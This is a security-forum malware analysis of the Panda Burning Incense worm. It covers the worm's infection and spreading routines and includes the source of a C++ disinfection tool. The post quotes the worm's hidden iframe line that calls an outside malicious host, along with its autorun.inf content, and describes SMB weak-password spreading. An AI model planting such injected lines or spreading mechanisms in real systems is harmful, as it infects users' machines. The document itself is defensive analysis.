首页
社区
课程
招聘
[原创]熊猫烧香 病毒流程分析 附 感染文件修复源码
2020-11-13 08:17 8990

[原创]熊猫烧香 病毒流程分析 附 感染文件修复源码

2020-11-13 08:17
8990

目录

病毒行为流程图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
graph TD
A[加密字符串解密并对比] -->B[自我复制至Drivers目录并执行]
    B --> D[判断是否是被感染文件启动的]
    D[病毒传播] -->E[本地传播]
    D -->F[可移动介质传播]   
    D -->G[网络传播]
 
    E -->file{是否文件}
    file -->|可执行文件|PE[文件附加]
    file -->|网页文件|WEB[添加iframe控件]
    F --> disk[添加自动播放配置]
    G --> net[使用多个线程]
    netThread[网络传播线程] --> connect[弱密码爆破139/445端口]
    connect --> traverse[遍历共享资源]
    traverse --> copy[自我复制远程目录/尝试遍历感染]
    copy --> 使用远程创建计划任务运行病毒
 
       disk --> Z[下载文件和维持控制]
       net --> Z
       PE --> Z
       WEB --> Z
 
       Z --> 操作注册表以自启动和系统保护
       --> 创建线程下载并运行文件
       --> 关闭所有盘的共享属性
       --> 对特定的安全软件,破坏其注册表键值和服务
       --> 访问几个网站,可能意图DDOS

加密字符串解密并对比

  • 40D5D6处对特定字符进行了解密,并将解密结果和***武*汉*男*生*感染*下*载*者***进行对比,如果不同则直接退出
    • 认为可以将两特殊字符串作为特征码进行杀毒
  • whboy0x71747d64的解密结果和01001A0进行比较
    • 同样相同则继续运行,不同则退出

自我复制至drivers并执行

  • 首先判断自己是不是被感染文件病毒感染文件时会将文件结尾的1作为标记

    • 如果是,将直接执行恢复的操作
    • 但是不会影响感染病毒自我传播动作
  • 先判断自己的执行路径是否位于%SYSTEMROOT%\\System32\\drivers

    • 如果不在,将结束其他相同进程并自我复制到drivers
    • 然后使用WinExec运行drviers中的副本
    • 之后结束当前进程
  • 如果在当前运行路径为%SYSTEMROOT%\\System32\\drivers则继续运行

判断是否是被感染文件启动的

  • 在之前已经将自己的PE文件整个读取到内存中,病毒通过文件结尾的标志判断是否是被感染文件
    • 如果是被感染文件的结尾标记为Whboy|原文件名|原文件尾缀名|2|源文件大小|1
  • 如果是被感染文件
    • 病毒会根据文件结尾的信息创建一个类似以010editor.exe.exe的文件,并将源文件内容填充文件
    • 然后通过批处理脚本对被感染文件替换,然后运行原文件。
    • 创建批处理文件源码
    • 创建的批处理文件内容为:
    • 之后判断是否有运行中的相同病毒
      • 如果有的话会删除drivers中的病毒副本,然后将正常的放入
      • 应该是为了之后的传播和避免自我感染,保证了drivers中是最原本的病毒

病毒传播

  • 总共分为三个步骤,先创建了一个线程对本地进行传播
  • 而后创建了一个6秒的定时器在每个驱动器下创建了setup.exe并添加了自动播放配置应该是为了移动介质传播
  • 之后创建了10个进程在端口139和445尝试通过弱密码进行传播

本地传播

  • 首先通过一个函数遍历所有存在的驱动器,并且将盘符拼接成一个字符串
  • 之后跳过了,A/B盘然后对文件进行遍历和感染
  • 在遍历文件感染中,会先判断路径是否是一些关键的目录,如果是的话或跳过
  • 之后判断`Desktop_.ini在目录下是否存在,应该是标记已经感染过的目录
    • 不存在将在目录下创建,并将内容设置为当前的日期
    • 如果存在会更新当前目录下的Desktop_.ini中的日期

如果是文件

  • 会对特定的文件类型进行特定的感染
    • 区分可执行文件和网页文件
    • 并且会跳过文件名为setup.exe的文件应该是病毒的默认命名

可执行文件的感染

  • 先判断这个文件的路径是不是当前运行的路径
  • 然后在文件内查找WhBoy的关键字,以判断是不是已经感染,已经被感染将直接跳过
    • 感染步骤中先会将自己的文件拷贝覆盖原来的文件
    • 然后将源文件的内容附加到文件末尾
    • 之后将源文件的部分信息也存至文件末尾,包括Whboy|包括尾缀的文件名|文件尾缀名|2|自我大小|1这是OD中写入文件尾部时的传参

网页文件

  • 会先解密一段内容,内容为<iframe src=http://www.ac86.cn/66/index.htm width="0" height="0"></iframe>是个iframe控件
  • 然后会将这个控件写入到找到的网页文件内
  • 网页文件的感染比较简单,只是简单的增加了一些东西

可移动介质传播

  • 同样,首先获取所有的有效盘符,然后跳过AB盘
  • 之后判断目录下是否存在setup.exe如果存在的话,拿自己替换他。
  • 如果不存在setup.exe,将自己命名setup.exe后拷贝过去
  • 之后判断是不是存在autorun.inf
    • 如果不存在就创建一个并且写入[AutoRun]\r\nOPEN=setup.exe\r\nshellexecute=setup.exe\r\nshell\\Auto\\command=setup.exe\r\n
    • 如果存在判断是不是这个语句,如果不是的话会跳过,之后处理
  • 之后将setup.exe设置为只读,隐藏,系统文件
  • 之后对已经存在的autorun.inf进行处理
    • 先更改存在的autorun.inf的文件属性,并且删除掉
    • zhi后再创建一个autorun.inf跟之前的一样
  • ==autorun.inf 猜测应该是U盘等插入的自动运行配置文件,保证被感染U盘插入后自动运行的是病毒文件==

网络传播(开了 10 个线程)

  • 首先是一个函数,<u>猜测是通过当前IP地址和掩码来构造一个IP迭代器</u>

接下去尝试链接139端口如果失败则链接445端口

image-20201106195220546

  • 连上了以后会构造一个带\\的IP地址传参进一个函数

    • 函数开头先构造了一个结构体
    • 之后对IP使用预制的用户名列表预制的密码列表尝试爆破登录
    • 如果登录成功会调用另一个函数
    • 用户名列表也比较简单,密码列表也只有100个……这里就截图一部分了……IDA没法直接识别还是有点难受的可能跟delphi的字符串结构有关

遍历共享资源

  • 进函数后,先使用NetShareEnum来检索服务器上所有的共享资源信息如果没有或者连接失败直接退出
  • 如果有共享资源,则尝试能否访问指定目录image-20201106204152159
  • 指定目录是个列表,通过指针访问目录列表是这些image-20201106203607495
  • 未找到则则再获取一个共享资源信息

将自己复制到远程目录

  • 找到的话将drivers中的病毒源文件复制到远程目录下命名为GameSetup.exe
  • 如果复制失败,会尝试遍历远程文件并使用之前本地感染的函数进行感染
  • 如果成功,会获取远程文件路径远程主机时间

使用远程创建计划任务运行病毒

  • 之后会使用路径和获取的时间增加一个远程任务以运行复制过去的病毒文件。

下载文件和维持控制

​ 这个函数内设置了5个计时器……分别有不同的作用,但是其中又有很多相同的。

在注册表内 将自己设置为 自启动 和 受保护的系统文件

创建线程去下载文件

  • 首先会解码url之后使用一个函数下载文件
  • 其中会冒充QQ访问解码出来的URL后读取内容并进行了一个拼接

  • 根据代码猜测文件格式应该是一个类似链表的东西,可以通过更改文件来更改下载的次数/r/n后应该是剩余的文件个数

  • 如果没找到就只有一个,如果找到了就再次循环

关闭所有盘的共享属性

感觉可能是用于避免重复感染

对特定的安全软件进行破坏

  • 通过注册表和服务进行对安全软件进行破坏

解密并访问了几个网站但是意义不明,可能是为了DDOS?

  • 访问的几个URL为

    1
    2
    3
    4
    5
    http://www.tom.com
    http://www.163.com
    http://www.sohu.com
    http://www.yahoo.com
    http://www.google.com

再次下载文件,可能换了个URL,但是代码相同

修复工具源码

进程结束用的taskkill
杀毒用的MD5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
#include <afxwin.h>
#include <iostream>
#include <Windows.h>
#include <tchar.h>
#include <openssl\md5.h>
#pragma comment(lib, "libcrypto.lib")
 
#define WEB_FILE 7894
#define PE_FILE 7895
#define NOPE 7896
 
CStringList repairFileList;
CStringList virusFileList;
 
// ---- md5摘要哈希 ---- //   
void md5(char* data,int dataSize, CString& encodedHexStr)
{
    // 调用md5哈希   
    unsigned char mdStr[33] = { 0 };
    MD5((const unsigned char*)data, dataSize, mdStr);
 
    // 哈希后的字符串   
    // encodedStr = CString((const char*)mdStr);
    // 哈希后的十六进制串 32字节   
    char buf[65] = { 0 };
    char tmp[3] = { 0 };
    for (int i = 0; i < 32; i++)
    {
        sprintf_s(tmp,3, "%02x", mdStr[i]);
        strcat_s(buf, 65, tmp);
    }
    buf[32] = '\0'; // 后面都是0,从32字节截断   
    encodedHexStr = CString(buf);
}
 
int needRepair(CString filename) {
    const CHAR* needRepairPE[] = { _T("EXE"), _T("SCR"), _T("PIF"), _T("COM") };
    const CHAR* needRepairWEB[] = { _T("HTM"),_T("HTML"),_T("PHP"),_T("JSP"),_T("ASPX") };
 
    int pos = filename.ReverseFind(L'.');
    CString type = filename.Mid(pos + 1, filename.GetLength() - pos - 1);
    type = type.MakeUpper();
    for (size_t i = 0; i < _countof(needRepairPE); i++)
    {
        if (type == needRepairPE[i])
            return PE_FILE;
        else if (type == needRepairWEB[i])
            return WEB_FILE;
    }
    if (type == needRepairWEB[4])
        return WEB_FILE;
 
    return NOPE;
}
 
bool determineVirusAndDel(CFile& file,int fileSize) {
    if (fileSize < 1)
        return false;
    //MD5判断是否是病毒文件
    char* fileBuff = new char[fileSize];
    file.Read(fileBuff, fileSize);
 
    CString virusMd5("5139678039712d35987ecdafc4dd8ecc");
    CString outMd5 = CString();
    md5(fileBuff, fileSize, outMd5);
 
    if (outMd5 == virusMd5) {
        _tprintf(_T("[ × 删除病毒] "));
        CString path = file.GetFilePath();
        file.Close();
        virusFileList.AddTail(file.GetFileName());
        CFile::Remove(path);
        delete[] fileBuff;
        return true;
    }
    else {
        delete[] fileBuff;
        return false;
    }
}
 
int rMemSearch(char* buff, int buffSize,const char* str,int strSize) {
    for (size_t i = buffSize; i > 0 ; i--)
    {
        char* findBuff = buff + i;
        if (!memcmp(findBuff, str, strSize)) {
            return i;
        }
    }
    return -1;
}
 
bool determineboshitAndDel(CFile& file) {
    const CHAR* needRepairPE[] = { _T("Desktop_.ini"), _T("autorun.inf")};
    for (size_t i = 0; i < _countof(needRepairPE); i++)
    {
        if (file.GetFileName() == needRepairPE[i]) {
            file.Close();
            CFile::Remove(file.GetFilePath());
            _tprintf(_T("[ × 删除病毒释放文件] "));
            return true;
        }
    }
    return false;
}
 
void traversePath(const TCHAR* dir) {
 
    TCHAR path[MAX_PATH] = { 0 };
    _stprintf_s(path, MAX_PATH, _T("%s\\*"), dir);
 
    HANDLE hFind = INVALID_HANDLE_VALUE;
    WIN32_FIND_DATA findData = { 0 };
 
    hFind = FindFirstFile(path, &findData);
    if (hFind == INVALID_HANDLE_VALUE) {
        _tprintf(_T("[没有文件]\n"));
        return;
    }
 
    do {
 
        // 如果是当前目录和上层目录,不能继续递归.
        if (_tcscmp(findData.cFileName, _T(".")) == 0
            || _tcscmp(findData.cFileName, _T("..")) == 0)
        {
            continue;
        }
 
        _stprintf_s(path, MAX_PATH, _T("%s\\%s"),
            dir,
            findData.cFileName);
 
        if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            _tprintf(_T("[目录] "));
            // 递归遍历
            traversePath(path);
        }
        else {
            CFile file;
            if (!file.Open(path, CFile::modeReadWrite))
                continue;
 
            DWORD fileSize = file.GetLength();
 
            if (fileSize > 0xA00000)
                continue;
            else if (fileSize < 1)
                continue;
 
            //判断是否是病毒吐出的指定文件并删除
            if (determineboshitAndDel(file)) {
                _tprintf(_T("%s\n"), path);
                continue;
            }
 
            //判断是否病毒并直接杀掉
            if (determineVirusAndDel(file, fileSize)) {
                _tprintf(_T("%s\n"), path);
                continue;
            }
 
            int fileType = needRepair(findData.cFileName);
            switch (fileType)
            {
            case PE_FILE: {
 
                //读取最后一个字节
                file.Seek(-1, CFile::end);
                char lastBit;
                file.Read(&lastBit, 1);
 
                if (lastBit == 1) {
                    //读取文件尾内容
                    file.Seek(-MAX_PATH, CFile::end);
                    char* fileEnd = new char[MAX_PATH]{0};
                    UINT readed = file.Read(fileEnd, MAX_PATH);
                    int signPos = rMemSearch(fileEnd, MAX_PATH, "WhBoy",5);
                    if (signPos != -1) {
                        //找到WhBoy说明的确被感染
                        int fileNamePos = signPos + 5;
                        int number2Pos = rMemSearch(fileEnd, MAX_PATH, "\2",1);
                        int sizePos = number2Pos + 1;
                        //获取大小
                        int sourceFileSize = _ttoi(fileEnd + sizePos);
 
                        //获取文件
                        char* sourceFile = new char[fileSize]{0};
                        file.Seek(0, CFile::begin);
                        file.Read(sourceFile, fileSize);
 
                        //写入文件
                        char* end = sourceFile + fileSize;
                        file.SetLength(sourceFileSize);
                        file.Seek(0, CFile::begin);
                        file.Write(((end - MAX_PATH) + signPos) - sourceFileSize - 1, sourceFileSize);
                        repairFileList.AddTail(file.GetFileName());
                        delete[] sourceFile;
                        _tprintf(_T("[ √ 修复被感染文件] "));
                    }
                    delete[] fileEnd;
                }
            }break;
            case WEB_FILE: {
                char* fileBuff = new char[fileSize];
                file.Seek(0, CFile::begin);
                file.Read(fileBuff, fileSize);
 
                char iframe[] = { _T("<iframe src=http://www.ac86.cn/66/index.htm width=\"0\" height=\"0\"></iframe>") };
                int iframeSize = _countof(iframe)-1;
                int pos = rMemSearch(fileBuff, fileSize, iframe, iframeSize);
                if (pos != -1) {
                    file.Write(fileBuff, pos);
                    file.SetLength(pos);
                    _tprintf(_T("[ √ 修复WEB文件] "));
                }
 
                delete[] fileBuff;
            }break;
            case NOPE: {
                _tprintf(_T("[〇未感染文件] "));
            }break;
            }
            file.Close();
        }
 
        _tprintf(_T("%s\n"), path);
 
    } while (FindNextFile(hFind, &findData));
}
 
void traverseAllDrives() {
    for (char a = 'A'; a <= 'Z'; a++) {
        UINT driveType = 0;
        CHAR rootPath[MAX_PATH] = { 0 };
        sprintf_s(rootPath,MAX_PATH,_T("%c:"), a);
        driveType = GetDriveType(rootPath);
        if (driveType != DRIVE_NO_ROOT_DIR)                  // DRIVE_NO_ROOT_DIR: 路径无效 
        {
            traversePath(rootPath);
        }
    }
    //打印修复文件和删除文件列表
    CString fileName;
    POSITION rPos;
    rPos = virusFileList.GetHeadPosition();
    while (rPos != NULL)
    {
        fileName = virusFileList.GetNext(rPos);
        _tprintf(_T("删除病毒文件:%s\n"), fileName.GetBuffer());
    }
    rPos = repairFileList.GetHeadPosition();
    while (rPos != NULL)
    {
        fileName = repairFileList.GetNext(rPos);
        _tprintf(_T("修复文件:%s\n"), fileName.GetBuffer());
    }
}
 
bool delAutoRunAndProtect() {
    HKEY hKey;
    bool result = true;
    if (RegOpenKey(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hKey) == ERROR_SUCCESS)
    {
        RegDeleteValue(hKey, "svcshare");
        RegCloseKey(hKey);
    }
    else result = false;
    if (RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL", &hKey) == ERROR_SUCCESS)
    {
        int value = 1;
        RegSetKeyValue(hKey, "CheckedValue", 0, REG_DWORD, &value, 4);
        RegCloseKey(hKey);
    }
    else result = false;
    return result;
}
 
int main()
{
 
    //setlocale(LC_ALL, "Chinese");
    system("mode con cols=150 lines=50");
    if (!delAutoRunAndProtect()) {
        _tprintf_s("删除病毒注册表失败,请手动清理注册表项:\n");
        _tprintf_s("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run 中的未知文件\n");
        _tprintf_s("更改HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL\\CheckedValue 为一\n");
    }
    //比较暴力的关闭进程
    system("taskkill /f /t /im spo0lsv.exe");
    traverseAllDrives();
    //traversePath("C:\\Windows\\System32\\drivers");
    system("pause");
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-2-12 14:21 被kanxue编辑 ,原因:
收藏
免费 4
打赏
分享
最新回复 (3)
雪    币: 392
活跃值: (3933)
能力值: ( LV8,RANK:155 )
在线值:
发帖
回帖
粉丝
伯爵的信仰 1 2021-3-15 17:51
2
0
清晰明了,优秀
雪    币: 2063
活跃值: (3823)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lhxdiao 2021-3-16 11:22
3
0
总结:避免感染的方法就是禁用优盘、软盘里面的autorun配置,打开资源管理器的隐藏文件夹、扩展名显示。
游客
登录 | 注册 方可回帖
返回